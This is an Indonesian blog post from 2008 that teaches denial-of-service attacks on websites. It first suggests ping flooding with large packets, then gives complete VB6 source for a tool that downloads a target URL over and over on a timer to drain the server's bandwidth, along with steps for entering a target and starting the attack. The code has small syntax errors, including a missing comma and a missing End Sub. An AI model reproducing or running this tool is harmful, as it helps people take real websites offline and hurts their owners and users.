Sunday, March 16, 2008 - TEKNIK DDOS

Teknik DOS disini maksudnya yaitu untuk melumpuhkan suatuserver/website dengan cara menghabiskan bandwitdh dari websitetersebut. Ada beberapa cara untuk DDOS, misalnya paling gampang denganmenggunakan perintah "ping", misalnya seperti : "ping -l 65500 - t www.sasaran.com".Dari perintah "ping" tersebut kita mengirim paket sebesar 65500 byteske server dan nilai tersebut merupakan nilai maksimum yang dapat kitakirim. Meskipun perintah tersebut menggunakan paramameter "-t" yangberarti perintah "ping" akan dilakukan terus menerus ke "www.sasaran.com",tetapi sepertinya butuh ratusan/ribuan komputer yang diperlukan untukmenjalani perintah "ping" ini seharian sehingga bandwidth dari siserver habis.

Oleh karena hanya "65500", maka saya mikirbagaimana ya cara cepat menyedot bandwitdh dari si server. Berhubungperintah "ping" ga bisa, saya coba liat2 VB6, yup ada perintah :"Declare Function URLDownloadToFile Lib "urlmon" Alias"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String,ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB AsLong) As Long".

Setelah mencoba2, perintah tersebut dapatmendownload satu halaman/file dan mengsave file tsb ke harddisk. Wahklo file yang berukuran gede didownload make looping kayaknya bakalannyedot bandwidth si server banyak tuh

Dengan konsep tersebut, yuk mari yuk mulai coding make VB6.. pake apa aja bisa kok soalnya kodenya sederhana

Yang diperlukan :
- l  textBox => Text1
- 2 button, => Command1 dan Command2
- 1 timer => Timer1
- tambah sendiri yang lain

Kode-kode (taruh di form):

'----------START----------START----------
'fungsi buat mendownload file
PrivateDeclare Function URLDownloadToFile Lib "urlmon" Alias"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String,ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB AsLong) As Long
'fungsi untuk mendapatkan folder temporary
PrivateDeclare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByValnBufferLength As Long, ByVal lpBuffer As String) As Long

'Saat program dijalankan make sure nothing happen
Private Sub Form_Load()
Timer1.Enabled = False
End Sub

'fungsi untuk menggenerate tulisan menjadi acak
Public Function Random(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Random = Int((High - Low + 1) * Rnd) + Low
End Function

'fungsi untuk mendapatkan folder temporary
Public Function GetTempDir() As String
Dim buff As String
buff = String(255, Chr$(0))
GetTempPath Len(buff), buff
GetTempDir = Left(buff, InStr(1, buff, Chr(0), vbTextCompare) - 1)
End Function

'inti dari program untuk melakukan DDOS
Private Sub Timer1_Timer()
Dim fileName As String
Dim DDOS
'membuat nama acak sebagai nama file yang akan disave
fileName = GetTempDir & Random(0, 999999999)
'mulai mendownload file yang terdapat pada Text1 dan mengsavenya
DDOS = URLDownloadToFile(0, Text1.text, fileName 0, 0)

'tombol untuk memulai DDOS
Private Sub Command1_Click()
Timer1.Enabled = True 'hidupkan timer buat looping
Timer1.Interval = 1000 'set setiap 1 detik program mendownload file dari server
Command2.Enabled = True
Command1.Enabled = False
End Sub

'stop semua actions
Private Sub Command2_Click()
Timer1.Enabled = False
Command1.Enabled = True
Command2.Enabled = False
End Sub
'----------END----------END----------

Setelah semua komponen2 dan kode sudah ada maka jalankan / F5, kemudian isi textbox dengan website yang akan diDDOS, misalnya "http://sasaran.com/download/setup.exe" atau "http://sasaran.com/index.php" , ingat tanpa tanda kutip dan TIDAK pake "www". Jadi klo kita isi "www.sasaran.com/index.php" <== SALAH!. Setelah itu pencet command1 untuk memulai serangan.

Saatcommand1 dipencet, maka program otomatis mendownload file di websitesesuai yang kita isi di textbox dan mengsavenya di folder temporaydengan nama acak. Kenapa pake nama acak? karena untuk mengantisipasijika suatu file blum beres didownload maka ga akan ngeganggu proseslain yang sedang berlangsung.

Ok kayaknya udah pada paham tentangsource code di atas. Ya tentunya bisa nambahin sendiri sepertipengecekan ada tidaknya koneksi internet, size yang udah didonlot atauanimasi loading pada program biar lebih ok lagi programnya.

Right, jangan digunaiin sembarangan.. Setiap perbuatan ada balasannya dan ingat gunakan di komputer yang bandwidthnya unlimited.